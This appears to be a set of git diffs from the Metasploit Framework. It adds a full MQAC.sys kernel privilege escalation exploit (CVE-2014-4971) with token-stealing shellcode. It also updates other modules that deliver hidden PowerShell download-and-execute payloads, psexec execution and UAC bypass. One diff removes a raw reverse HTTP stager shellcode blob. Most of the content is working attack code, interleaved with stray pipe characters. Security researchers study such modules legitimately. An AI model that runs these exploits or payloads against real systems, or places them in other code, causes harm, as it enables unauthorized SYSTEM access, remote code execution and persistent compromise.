print_good "UAC is not enabled, no prompt for the user"
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Generate payload and random names for upload
|
||||
#
|
||||
payload = generate_payload_exe
|
||||
|
||||
if datastore["FILENAME"]
|
||||
payload_filename = datastore["FILENAME"]
|
||||
else
|
||||
payload_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
|
||||
case datastore['TECHNIQUE']
|
||||
when 'EXE'
|
||||
execute_exe(datastore['FILENAME'], datastore['PATH'], datastore['UPLOAD'])
|
||||
when 'PSH'
|
||||
execute_psh
|
||||
end
|
||||
|
||||
if datastore["PATH"]
|
||||
payload_path = datastore["PATH"]
|
||||
else
|
||||
payload_path = session.sys.config.getenv('TEMP')
|
||||
end
|
||||
|
||||
cmd_location = "#{payload_path}\\#{payload_filename}"
|
||||
|
||||
if datastore["UPLOAD"]
|
||||
print_status("Uploading #{payload_filename} - #{payload.length} bytes to the filesystem...")
|
||||
fd = session.fs.file.new(cmd_location, "wb")
|
||||
fd.write(payload)
|
||||
fd.close
|
||||
end
|
||||
|
||||
session.railgun.shell32.ShellExecuteA(nil,"runas",cmd_location,nil,nil,5)
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -98,7 +98,7 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
|
||||
service_executable = "\\\\#{share_host}\\#{share_name}\\#{filename}"
|
||||
else
|
||||
service_executable = cmd_psh_payload(payload.encoded)
|
||||
service_executable = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
|
||||
end
|
||||
|
||||
begin
|
||||
|
|
|
@ -0,0 +1,226 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Local
|
||||
Rank = AverageRanking
|
||||
|
||||
include Msf::Post::Windows::Priv
|
||||
include Msf::Post::Windows::Process
|
||||
|
||||
INVALID_HANDLE_VALUE = 0xFFFFFFFF
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'MQAC.sys Arbitrary Write Privilege Escalation',
|
||||
'Description' => %q(
|
||||
A vulnerability within the MQAC.sys module allows an attacker to
|
||||
overwrite an arbitrary location in kernel memory.
|
||||
|
||||
This module will elevate itself to SYSTEM, then inject the payload
|
||||
into another SYSTEM process.
|
||||
),
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Matt Bergin', # original exploit and all the hard work
|
||||
'Spencer McIntyre' # MSF module
|
||||
],
|
||||
'Arch' => [ARCH_X86],
|
||||
'Platform' => ['win'],
|
||||
'SessionTypes' => ['meterpreter'],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'thread'
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
['Windows XP SP3',
|
||||
{
|
||||
'_KPROCESS' => "\x44",
|
||||
'_TOKEN' => "\xc8",
|
||||
'_UPID' => "\x84",
|
||||
'_APLINKS' => "\x88"
|
||||
}
|
||||
]
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
%w(CVE 2014-4971),
|
||||
%w(EDB 34112),
|
||||
['URL', 'https://www.korelogic.com/Resources/Advisories/KL-001-2014-003.txt']
|
||||
],
|
||||
'DisclosureDate' => 'Jul 22 2014',
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
end
|
||||
|
||||
def find_sys_base(drvname)
|
||||
session.railgun.add_dll('psapi') unless session.railgun.dlls.keys.include?('psapi')
|
||||
lp_image_base = %w(PBLOB lpImageBase out)
|
||||
cb = %w(DWORD cb in)
|
||||
lpcb_needed = %w(PDWORD lpcbNeeded out)
|
||||
session.railgun.add_function('psapi', 'EnumDeviceDrivers', 'BOOL',
|
||||
[lp_image_base, cb, lpcb_needed])
|
||||
image_base = %w(LPVOID ImageBase in)
|
||||
lp_base_name = %w(PBLOB lpBaseName out)
|
||||
n_size = %w(DWORD nSize in)
|
||||
session.railgun.add_function('psapi', 'GetDeviceDriverBaseNameA', 'DWORD',
|
||||
[image_base, lp_base_name, n_size])
|
||||
results = session.railgun.psapi.EnumDeviceDrivers(4096, 1024, 4)
|
||||
addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack('L*')
|
||||
|
||||
addresses.each do |address|
|
||||
results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48)
|
||||
current_drvname = results['lpBaseName'][0..results['return'] - 1]
|
||||
if drvname.nil?
|
||||
if current_drvname.downcase.include?('krnl')
|
||||
return [address, current_drvname]
|
||||
end
|
||||
elsif drvname == results['lpBaseName'][0..results['return'] - 1]
|
||||
return [address, current_drvname]
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Function borrowed from smart_hashdump
|
||||
def get_system_proc
|
||||
# Make sure you got the correct SYSTEM Account Name no matter the OS Language
|
||||
local_sys = resolve_sid('S-1-5-18')
|
||||
system_account_name = "#{local_sys[:domain]}\\#{local_sys[:name]}"
|
||||
|
||||
this_pid = session.sys.process.getpid
|
||||
# Processes that can Blue Screen a host if migrated in to
|
||||
dangerous_processes = ['lsass.exe', 'csrss.exe', 'smss.exe']
|
||||
session.sys.process.processes.each do |p|
|
||||
# Check we are not migrating to a process that can BSOD the host
|
||||
next if dangerous_processes.include?(p['name'])
|
||||
next if p['pid'] == this_pid
|
||||
next if p['pid'] == 4
|
||||
next if p['user'] != system_account_name
|
||||
return p
|
||||
end
|
||||
end
|
||||
|
||||
def open_device
|
||||
handle = session.railgun.kernel32.CreateFileA('\\\\.\\MQAC',
|
||||
'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, nil, 'OPEN_EXISTING', 0, nil)
|
||||
handle = handle['return']
|
||||
if handle == 0
|
||||
print_error('Failed to open the \\\\.\\MQAC device')
|
||||
return nil
|
||||
end
|
||||
handle
|
||||
end
|
||||
|
||||
def check
|
||||
handle = open_device
|
||||
if handle.nil? || handle == INVALID_HANDLE_VALUE
|
||||
print_error('MSMQ installation not found')
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
session.railgun.kernel32.CloseHandle(handle)
|
||||
|
||||
os = sysinfo['OS']
|
||||
case os
|
||||
when /windows xp.*service pack 3/i
|
||||
return Exploit::CheckCode::Appears
|
||||
when /windows xp/i
|
||||
print_error('Unsupported version of Windows XP detected')
|
||||
return Exploit::CheckCode::Detected
|
||||
else
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
if sysinfo['Architecture'] =~ /wow64/i
|
||||
print_error('Running against WOW64 is not supported')
|
||||
return
|
||||
elsif sysinfo['Architecture'] =~ /x64/
|
||||
print_error('Running against 64-bit systems is not supported')
|
||||
return
|
||||
end
|
||||
|
||||
if is_system?
|
||||
print_error('This meterpreter session is already running as SYSTEM')
|
||||
return
|
||||
end
|
||||
|
||||
# Running on Windows XP versions that aren't listed in the supported list
|
||||
# results in a BSOD and so we should not let that happen.
|
||||
return unless check == Exploit::CheckCode::Appears
|
||||
|
||||
kernel_info = find_sys_base(nil)
|
||||
base_addr = 0xffff
|
||||
print_status("Kernel Base Address: 0x#{kernel_info[0].to_s(16)}")
|
||||
|
||||
handle = open_device
|
||||
return if handle.nil? || handle == INVALID_HANDLE_VALUE
|
||||
|
||||
this_proc = session.sys.process.open
|
||||
unless this_proc.memory.writable?(base_addr)
|
||||
session.railgun.ntdll.NtAllocateVirtualMemory(-1, [1].pack('L'), nil,
|
||||
[0xffff].pack('L'),
|
||||
'MEM_COMMIT|MEM_RESERVE',
|
||||
'PAGE_EXECUTE_READWRITE')
|
||||
end
|
||||
unless this_proc.memory.writable?(base_addr)
|
||||
print_error('Failed to properly allocate memory')
|
||||
this_proc.close
|
||||
return
|
||||
end
|
||||
|
||||
hKernel = session.railgun.kernel32.LoadLibraryExA(kernel_info[1], 0, 1)
|
||||
hKernel = hKernel['return']
|
||||
halDispatchTable = session.railgun.kernel32.GetProcAddress(hKernel,
|
||||
'HalDispatchTable')
|
||||
halDispatchTable = halDispatchTable['return']
|
||||
halDispatchTable -= hKernel
|
||||
halDispatchTable += kernel_info[0]
|
||||
print_status("HalDisPatchTable Address: 0x#{halDispatchTable.to_s(16)}")
|
||||
|
||||
tokenstealing = "\x52" # push edx # Save edx on the stack
|
||||
tokenstealing << "\x53" # push ebx # Save ebx on the stack
|
||||
tokenstealing << "\x33\xc0" # xor eax, eax # eax = 0
|
||||
tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00" # mov eax, dword ptr fs:[eax+124h] # Retrieve ETHREAD
|
||||
tokenstealing << "\x8b\x40" + target['_KPROCESS'] # mov eax, dword ptr [eax+44h] # Retrieve _KPROCESS
|
||||
tokenstealing << "\x8b\xc8" # mov ecx, eax
|
||||
tokenstealing << "\x8b\x98" + target['_TOKEN'] + "\x00\x00\x00" # mov ebx, dword ptr [eax+0C8h] # Retrieves TOKEN
|
||||
tokenstealing << "\x8b\x80" + target['_APLINKS'] + "\x00\x00\x00" # mov eax, dword ptr [eax+88h] <====| # Retrieve FLINK from ActiveProcessLinks
|
||||
tokenstealing << "\x81\xe8" + target['_APLINKS'] + "\x00\x00\x00" # sub eax,88h | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks
|
||||
tokenstealing << "\x81\xb8" + target['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00" # cmp dword ptr [eax+84h], 4 | # Compares UniqueProcessId with 4 (The System Process on Windows XP)
|
||||
tokenstealing << "\x75\xe8" # jne 0000101e ======================
|
||||
tokenstealing << "\x8b\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov edx,dword ptr [eax+0C8h] # Retrieves TOKEN and stores on EDX
|
||||
tokenstealing << "\x8b\xc1" # mov eax, ecx # Retrieves KPROCESS stored on ECX
|
||||
tokenstealing << "\x89\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov dword ptr [eax+0C8h],edx # Overwrites the TOKEN for the current KPROCESS
|
||||
tokenstealing << "\x5b" # pop ebx # Restores ebx
|
||||
tokenstealing << "\x5a" # pop edx # Restores edx
|
||||
tokenstealing << "\xc2\x10" # ret 10h # Away from the kernel!
|
||||
|
||||
shellcode = make_nops(0x200) + tokenstealing
|
||||
this_proc.memory.write(0x1, shellcode)
|
||||
this_proc.close
|
||||
|
||||
print_status('Triggering vulnerable IOCTL')
|
||||
session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, 0x1965020f,
|
||||
1, 0x258,
|
||||
halDispatchTable + 0x4, 0)
|
||||
session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)
|
||||
|
||||
unless is_system?
|
||||
print_error('Exploit failed')
|
||||
return
|
||||
end
|
||||
|
||||
proc = get_system_proc
|
||||
print_status("Injecting the payload into SYSTEM process: #{proc['name']}")
|
||||
unless execute_shellcode(payload.encoded, nil, proc['pid'])
|
||||
fail_with(Failure::Unknown, 'Error while executing the payload')
|
||||
end
|
||||
end
|
||||
end
|
|
@ -126,7 +126,7 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
if sysinfo["Architecture"] =~ /wow64/i
|
||||
print_error("Running against WOW64 is not supported")
|
||||
return
|
||||
elsif sysinfo["Architectore"] =~ /x64/
|
||||
elsif sysinfo["Architecture"] =~ /x64/
|
||||
print_error("Running against 64-bit systems is not supported")
|
||||
return
|
||||
end
|
||||
|
|
|
@ -51,7 +51,11 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
[ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate'=> "Nov 27 2012",
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'WfsDelay' => 40,
|
||||
},
|
||||
'DisclosureDate' => "Nov 27 2012",
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2013-0008' ],
|
||||
|
@ -160,7 +164,7 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
command = datastore['CUSTOM_COMMAND']
|
||||
else
|
||||
print_warning("WARNING: It can take a LONG TIME to broadcast the cmd script to execute the powershell command line payload")
|
||||
command = cmd_psh_payload(payload.encoded)
|
||||
command = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
|
||||
end
|
||||
make_it(command)
|
||||
else
|
||||
|
@ -171,7 +175,11 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
def primer
|
||||
url = get_uri()
|
||||
download_and_run = "IEX ((new-object net.webclient).downloadstring('#{url}'))"
|
||||
command = "powershell.exe -w hidden -nop -c #{download_and_run}"
|
||||
command = generate_psh_command_line({
|
||||
:noprofile => true,
|
||||
:windowstyle => 'hidden',
|
||||
:command => download_and_run
|
||||
})
|
||||
make_it(command)
|
||||
end
|
||||
|
||||
|
|
|
@ -79,7 +79,14 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
end
|
||||
|
||||
def primer
|
||||
cmd = cmd_psh_payload(payload.encoded).gsub('%COMSPEC% /B /C start powershell.exe ','').strip
|
||||
cmd = cmd_psh_payload(payload.encoded,
|
||||
payload_instance.arch.first,
|
||||
{
|
||||
:remove_comspec => true
|
||||
}
|
||||
)
|
||||
|
||||
cmd.gsub!('powershell.exe ','')
|
||||
session.railgun.kernel32.SetEnvironmentVariableA("PSH_CMD", cmd)
|
||||
|
||||
html_uri = "#{get_uri}/#{rand_text_alpha(4 + rand(4))}.html"
|
||||
|
|
|
@ -148,7 +148,14 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
|
||||
print_good(".NET looks vulnerable, exploiting...")
|
||||
|
||||
cmd = cmd_psh_payload(payload.encoded).gsub('%COMSPEC% /B /C start powershell.exe ','').strip
|
||||
cmd = cmd_psh_payload(payload.encoded,
|
||||
payload_instance.arch.first,
|
||||
{
|
||||
:remove_comspec => true
|
||||
}
|
||||
)
|
||||
|
||||
cmd.gsub!('powershell.exe ','')
|
||||
session.railgun.kernel32.SetEnvironmentVariableA("PSHCMD", cmd)
|
||||
|
||||
temp = get_env('TEMP')
|
||||
|
|
|
@ -40,7 +40,8 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
|
||||
if file? "%WINDIR%\\System32#{psh_path}"
|
||||
print_status("Executing powershell command line...")
|
||||
cmd_exec(cmd_psh_payload(payload.encoded))
|
||||
command = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
|
||||
cmd_exec(command)
|
||||
else
|
||||
fail_with(Exploit::Failure::NotVulnerable, "No powershell available.")
|
||||
end
|
||||
|
|
|
@ -49,10 +49,9 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
'DisclosureDate' => 'Jan 01 1999',
|
||||
'Platform' => [ 'win' ],
|
||||
'SessionTypes' => [ 'meterpreter' ],
|
||||
'Targets' =>
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
|
||||
[ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
|
||||
[ 'Automatic', { 'Arch' => [ARCH_X86, ARCH_X86_64] } ],
|
||||
],
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
|
@ -79,9 +78,14 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
def run_host(server)
|
||||
# Get the PSH Payload and split it into bitesize chunks
|
||||
# 1024 appears to be the max value allowed in env vars
|
||||
psh = cmd_psh_payload(payload.encoded).gsub("\r\n","")
|
||||
psh = psh[psh.index("$si")..psh.length-1]
|
||||
chunks = split_code(psh, 1024)
|
||||
psh = cmd_psh_payload(payload.encoded,
|
||||
payload_instance.arch.first,
|
||||
{
|
||||
:remove_comspec => true,
|
||||
:encode_inner_payload => true,
|
||||
:use_single_quotes => true
|
||||
})
|
||||
chunks = split_code(psh, 1000)
|
||||
|
||||
begin
|
||||
print_status("[#{server}] Storing payload in environment variables")
|
||||
|
@ -99,7 +103,11 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
end
|
||||
|
||||
x = rand_text_alpha(rand(3)+3)
|
||||
exec_cmd = "powershell.exe -nop -w hidden -c $#{x} = ''"
|
||||
exec_cmd = generate_psh_command_line({
|
||||
:noprofile => true,
|
||||
:windowstyle => 'hidden',
|
||||
:command => "$#{x}=''"
|
||||
})
|
||||
env_vars.each do |env|
|
||||
exec_cmd << "+$env:#{env}"
|
||||
end
|
||||
|
@ -126,6 +134,8 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
rescue Rex::Post::Meterpreter::RequestError => e
|
||||
print_error("[#{server}] Error moving on... #{e}")
|
||||
return false
|
||||
ensure
|
||||
Rex::sleep(2)
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -95,7 +95,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
execute_cmdstager({:flavor => :vbs, :linemax => 7500})
|
||||
elsif target.name =~ /Powershell/
|
||||
# Environment variables are not being expanded before, neither in CreateProcess
|
||||
command = cmd_psh_payload(payload.encoded).gsub(/%COMSPEC% /, "")
|
||||
command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, {:remove_comspec => true, :encode_final_payload => true})
|
||||
if command.length > 8000
|
||||
# Windows 2008 Command Prompt Max Length is 8191
|
||||
fail_with(Failure::BadConfig, "#{peer} - The selected paylod is too long to execute through powershell in one command")
|
||||
|
|
|
@ -4,11 +4,13 @@
|
|||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/exploit/powershell'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer
|
||||
include Msf::Exploit::Powershell
|
||||
|
||||
include Msf::Module::Deprecated
|
||||
|
||||
|
@ -17,8 +19,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'PowerShell Payload Web Delivery',
|
||||
'Description' => %q{
|
||||
'Name' => 'PowerShell Payload Web Delivery',
|
||||
'Description' => %q{
|
||||
This module quickly fires up a web server that serves the payload in PowerShell.
|
||||
The provided command will start PowerShell and then download and execute the
|
||||
payload. The IEX command can also be extracted to execute directly from PowerShell.
|
||||
|
@ -26,42 +28,50 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
machine when the attacker has to manually type in the command himself, e.g. RDP
|
||||
Session, Local Access or maybe Remote Command Exec. This attack vector does not
|
||||
write to disk so is less likely to trigger AV solutions and will allow privilege
|
||||
escalations supplied by Meterpreter. Ensure the payload architecture matches the
|
||||
target computer or use SYSWOW64 powershell.exe to execute x86 payloads on x64 machines.
|
||||
escalations supplied by Meterpreter.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Ben Campbell',
|
||||
'Chris Campbell' #@obscuresec - Inspiration n.b. no relation!
|
||||
],
|
||||
'References' =>
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://www.pentestgeek.com/2013/07/19/invoke-shellcode/' ],
|
||||
[ 'URL', 'http://www.powershellmagazine.com/2013/04/19/pstip-powershell-command-line-switches-shortcuts/'],
|
||||
[ 'URL', 'http://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html']
|
||||
],
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
|
||||
[ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
|
||||
[ 'Automatic', { 'Arch' => [ARCH_X86, ARCH_X86_64] } ]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Jul 19 2013'))
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
print_status("Delivering Payload")
|
||||
data = Msf::Util::EXE.to_win32pe_psh_net(framework, payload.encoded)
|
||||
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
|
||||
|
||||
psh = cmd_psh_payload(payload.encoded,
|
||||
payload_instance.arch.first,
|
||||
{
|
||||
:remove_comspec => true,
|
||||
:use_single_quotes => true
|
||||
})
|
||||
send_response(cli, psh, { 'Content-Type' => 'application/octet-stream' })
|
||||
end
|
||||
|
||||
def primer
|
||||
url = get_uri()
|
||||
download_and_run = "IEX ((new-object net.webclient).downloadstring('#{url}'))"
|
||||
print_status("Run the following command on the target machine:")
|
||||
print_line("powershell.exe -w hidden -nop -ep bypass -c \"#{download_and_run}\"")
|
||||
print_line generate_psh_command_line({
|
||||
:noprofile => true,
|
||||
:windowstyle => 'hidden',
|
||||
:command => download_and_run
|
||||
})
|
||||
end
|
||||
end
|
||||
|
||||
|
|
File diff suppressed because it is too large
Load Diff
|
@ -23,20 +23,18 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
payload using a similar technique to the "psexec" utility provided by SysInternals. The
|
||||
payload is encoded in base64 and executed from the commandline using the -encodedcommand
|
||||
flag. Using this method, the payload is never written to disk, and given that each payload
|
||||
is unique, is less prone to signature based detection. Since executing shellcode in .NET
|
||||
requires the use of system resources from unmanaged memory space, the .NET (PSH) architecture
|
||||
must match that of the payload. Lastly, a persist option is provided to execute the payload
|
||||
in a while loop in order to maintain a form of persistence. In the event of a sandbox
|
||||
observing PSH execution, a delay and other obfuscation may be added to avoid detection.
|
||||
In order to avoid interactive process notifications for the current user, the psh payload has
|
||||
been reduced in size and wrapped in a powershell invocation which hides the process entirely.
|
||||
is unique, is less prone to signature based detection. A persist option is provided to
|
||||
execute the payload in a while loop in order to maintain a form of persistence. In the
|
||||
event of a sandbox observing PSH execution, a delay and other obfuscation may be added to
|
||||
avoid detection. In order to avoid interactive process notifications for the current user,
|
||||
the psh payload has been reduced in size and wrapped in a powershell invocation which hides
|
||||
the window entirely.
|
||||
},
|
||||
|
||||
'Author' => [
|
||||
'Royce @R3dy__ Davis <rdavis[at]accuvant.com>', # PSExec command module
|
||||
'RageLtMan <rageltman[at]sempervictus' # PSH exploit, libs, encoders
|
||||
],
|
||||
|
||||
'License' => MSF_LICENSE,
|
||||
'Privileged' => true,
|
||||
'DefaultOptions' =>
|
||||
|
@ -44,17 +42,10 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'WfsDelay' => 10,
|
||||
'EXITFUNC' => 'thread'
|
||||
},
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 8192,
|
||||
'DisableNops' => true,
|
||||
'StackAdjustment' => -3500
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
|
||||
[ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
|
||||
[ 'Automatic', { 'Arch' => [ ARCH_X86, ARCH_X86_64 ] } ]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Jan 01 1999',
|
||||
|
@ -66,17 +57,21 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
[ 'URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx' ]
|
||||
]
|
||||
))
|
||||
|
||||
register_options([
|
||||
OptBool.new('DryRun',[false,'Prints the powershell command that would be used',false]),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def exploit
|
||||
command = cmd_psh_payload(payload.encoded)
|
||||
|
||||
if datastore['PERSIST'] and not datastore['DisablePayloadHandler']
|
||||
print_warning("You probably want to DisablePayloadHandler and use exploit/multi/handler with the PERSIST option.")
|
||||
command = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
|
||||
if datastore['DryRun']
|
||||
print_good command.inspect
|
||||
return
|
||||
end
|
||||
|
||||
if datastore['RUN_WOW64'] and target_arch.first == "x86_64"
|
||||
fail_with(Failure::BadConfig, "Select an x86 target and payload with RUN_WOW64 enabled")
|
||||
if datastore['PSH::persist'] and not datastore['DisablePayloadHandler']
|
||||
print_warning("You probably want to DisablePayloadHandler and use exploit/multi/handler with the PSH::persist option")
|
||||
end
|
||||
|
||||
# Try and authenticate with given credentials
|
||||
|
@ -84,16 +79,16 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
begin
|
||||
smb_login
|
||||
rescue StandardError => autherror
|
||||
disconnect
|
||||
fail_with(Failure::NoAccess, "#{peer} - Unable to authenticate with given credentials: #{autherror}")
|
||||
fail_with(Exploit::Failure::NoAccess, "#{peer} - Unable to authenticate with given credentials: #{autherror}")
|
||||
end
|
||||
# Execute the powershell command
|
||||
print_status("#{peer} - Executing the payload...")
|
||||
begin
|
||||
return psexec(command)
|
||||
rescue StandardError => exec_command_error
|
||||
fail_with(Exploit::Failure::Unknown, "#{peer} - Unable to execute specified command: #{exec_command_error}")
|
||||
ensure
|
||||
disconnect
|
||||
fail_with(Failure::Unknown, "#{peer} - Unable to execute specified command: #{exec_command_error}")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -79,7 +79,13 @@ module Metasploit3
|
|||
i = p.index("/12345\x00")
|
||||
u = "/" + generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITW) + "\x00"
|
||||
p[i, u.length] = u
|
||||
p + datastore['LHOST'].to_s + "\x00"
|
||||
|
||||
lhost = datastore['LHOST'] || Rex::Socket.source_address
|
||||
if Rex::Socket.is_ipv6?(lhost)
|
||||
lhost = "[#{lhost}]"
|
||||
end
|
||||
|
||||
p + lhost + "\x00"
|
||||
end
|
||||
|
||||
#
|
||||
|
|
|
@ -1,95 +0,0 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_ipv6_http'
|
||||
require 'msf/core/module/deprecated'
|
||||
|
||||
module Metasploit3
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Module::Deprecated
|
||||
|
||||
DEPRECATION_DATE = Date.new(2014, 7, 30)
|
||||
DEPRECATION_REPLACEMENT = 'windows/meterpreter/reverse_https'
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Reverse HTTP Stager (IPv6)',
|
||||
'Description' => 'Tunnel communication over HTTP and IPv6',
|
||||
'Author' => 'hdm',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86,
|
||||
'Handler' => Msf::Handler::ReverseIPv6Http,
|
||||
'Convention' => 'sockedi http',
|
||||
'Stager' =>
|
||||
{
|
||||
'Offsets' =>
|
||||
{
|
||||
# Disabled since it MUST be ExitProcess to work on WoW64 unless we add EXITFUNK support (too big right now)
|
||||
# 'EXITFUNC' => [ 290, 'V' ],
|
||||
'LPORT' => [ 190, 'v' ], # Not a typo, really little endian
|
||||
},
|
||||
'Payload' =>
|
||||
"\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
|
||||
"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" +
|
||||
"\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" +
|
||||
"\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" +
|
||||
"\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" +
|
||||
"\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" +
|
||||
"\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" +
|
||||
"\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" +
|
||||
"\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" +
|
||||
"\x68\x6E\x65\x74\x00\x68\x77\x69\x6E\x69\x54\x68\x4C\x77\x26\x07" +
|
||||
"\xFF\xD5\x31\xFF\x57\x57\x57\x57\x6A\x00\x54\x68\x3A\x56\x79\xA7" +
|
||||
"\xFF\xD5\xEB\x4B\x5B\x31\xC9\x51\x51\x6A\x03\x51\x51\x68\x5C\x11" +
|
||||
"\x00\x00\x53\x50\x68\x57\x89\x9F\xC6\xFF\xD5\xEB\x34\x59\x31\xD2" +
|
||||
"\x52\x68\x00\x02\x20\x84\x52\x52\x52\x51\x52\x50\x68\xEB\x55\x2E" +
|
||||
"\x3B\xFF\xD5\x89\xC6\x6A\x10\x5B\x31\xFF\x57\x57\x57\x57\x56\x68" +
|
||||
"\x2D\x06\x18\x7B\xFF\xD5\x85\xC0\x75\x1A\x4B\x74\x10\xEB\xE9\xEB" +
|
||||
"\x49\xE8\xC7\xFF\xFF\xFF\x2F\x31\x32\x33\x34\x35\x00\x68\xF0\xB5" +
|
||||
"\xA2\x56\xFF\xD5\x6A\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00" +
|
||||
"\x57\x68\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x53\x89\xE7\x57\x68\x00" +
|
||||
"\x20\x00\x00\x53\x56\x68\x12\x96\x89\xE2\xFF\xD5\x85\xC0\x74\xCD" +
|
||||
"\x8B\x07\x01\xC3\x85\xC0\x75\xE5\x58\xC3\xE8\x65\xFF\xFF\xFF"
|
||||
}
|
||||
))
|
||||
end
|
||||
|
||||
#
|
||||
